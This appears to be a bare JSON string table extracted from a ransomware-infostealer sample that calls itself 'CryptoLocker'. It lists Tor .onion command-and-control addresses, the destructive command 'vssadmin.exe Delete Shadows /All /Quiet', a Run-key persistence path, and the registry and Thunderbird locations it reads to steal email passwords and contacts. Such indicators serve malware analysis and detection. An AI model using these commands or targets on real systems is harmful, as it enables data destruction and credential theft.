{ "0": "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "1": "SOFTWARE\\Microsoft\\Cryptography", "2": "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "3": "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", "4": "InstallDate", "5": "MachineGuid", "6": "DigitalProductId", "7": "EnableLUA", "8": "runas", "9": "Global\\", "10": "eyuioa", "11": "qwrtpsdfghjklzxcvbnm", "12": "InstallLocation", "13": "S:(ML;;NRNWNX;;;LW)", "14": "anbqjdoyw6wkmpeu.onion", "15": "ojmekzw4mujvqeju.onion", "16": "4w5wihkwyhsav2ha.onion", "17": "__remote_entry@0", "18": "__local_entry@4", "19": "explorer.exe", "20": "svchost.exe", "21": "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", "22": "ntdll.dll", "23": "kernel32.dll", "24": "user32.dll", "25": "advapi32.dll", "26": "shell32.dll", "27": "crypt32.dll", "28": "shlwapi.dll", "29": "wininet.dll", "30": "mpr.dll", "31": "nss3.dll", "32": "()<>@,;:\\\"[]", "33": "%ProgramFiles%", "34": "%ProgramW6432%", "35": ".enc", "36": "CryptoLocker", "37": "/topic.php", "38": "/topic2.php", "39": ".exe", "40": ".html", "41": ".txt", "42": ".png", "43": "Software\\Microsoft\\Internet Explorer\\PhishingFilter", "44": "EnabledV8", "45": "EnabledV9", "46": "vssadmin.exe Delete Shadows /All /Quiet", "47": "UNKNOWN", "48": "Common Files\\System\\wab32.dll", "49": "Thunderbird\\Profiles\\", "50": "abook.mab", "51": "history.mab", "52": "DisplayName", "53": "PrimaryEmail", "54": "// ", "55": "@$${", "56": "{@", "57": "@$$}", "58": "}@", "59": "(^%X^", "60": "^%x)", "61": "(%X=", "62": "about:blank", "63": "My Host Name", "64": "%%1%%", "65": "%%2%%", "66": "%%3%%", "67": "Software\\Microsoft\\Internet Account Manager\\Accounts\\00000001", "68": "Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", "69": "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", "70": "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", "71": "SMTP Server", "72": "IMAP Server", "73": "POP3 Server", "74": "Email", "75": "SMTP User Name", "76": "IMAP User Name", "77": "POP3 User Name", "78": "SMTP Password", "79": "SMTP Password2", "80": "IMAP Password", "81": "IMAP Password2", "82": "POP3 Password", "83": "POP3 Password2", "84": "SMTP Port", "85": "IMAP Port", "86": "POP3 Port", "87": "SMTP Use SSL", "88": "SMTP Secure Connection", "89": "IMAP Use SSL", "90": "POP3 Use SSL", "91": "Outlook", "92": "Software\\Microsoft\\Internet Account Manager", "93": "Accounts", "94": "pstorec.dll", "95": "http://ipecho.net/plain", "96": "http://myexternalip.com/raw", "97": "http://wtfismyip.com/text", "98": "Content-Length: ", "99": "Transfer-Encoding: chunked", "100": "HTTP/1.1 ", "101": " HTTP/1.1", "102": "POST ", "103": "Host: ", "104": "Connection: Close", "105": "Content-Type: application/octet-stream", "106": "Content-Length: ", "107": " <>(){}[]/\\\"", "108": "%[_a-zA-Z0-9.]@%[_a-zA-Z0-9.]", "109": "logins.json", "110": "\"id\"", "111": "\"hostname\"", "112": "\"hostname\":\"%256[^\"]\"%*s", "113": "\"encryptedUsername\"", "114": "\"encryptedUsername\":\"%256[^\"]\"%*s", "115": "\"encryptedPassword\"", "116": "\"encryptedPassword\":\"%256[^\"]\"%*s", "117": "\"encType\"", "118": "\"encType\":%d%*s", "119": "smtp://%[^:]:%d", "120": "smtp://%s", "121": "global-messages-db.sqlite", "122": "SELECT c3author, c4recipients FROM messagesText_content", "123": "Mail\\Local Folders\\Inbox", "124": "ImapMail", "125": "Mail", "126": "thunderbird", "127": "exe", "128": "dll", "129": "sys", "130": "vdx", "131": "vxd", "132": "com", "133": "msi", "134": "scr", "135": "cpl", "136": "bat", "137": "cmd", "138": "lnk", "139": "url", "140": "log", "141": "log2", "142": "tmp", "143": "###", "144": "ini", "145": "chm", "146": "manifest", "147": "inf", "148": "html", "149": "txt", "150": "bmp", "151": "ttf", "152": "png", "153": "ico", "154": "gif", "155": "mp3", "156": "wav", "157": "avi", "158": "theme", "159": "evtx", "160": "folder", "161": "kdmp" }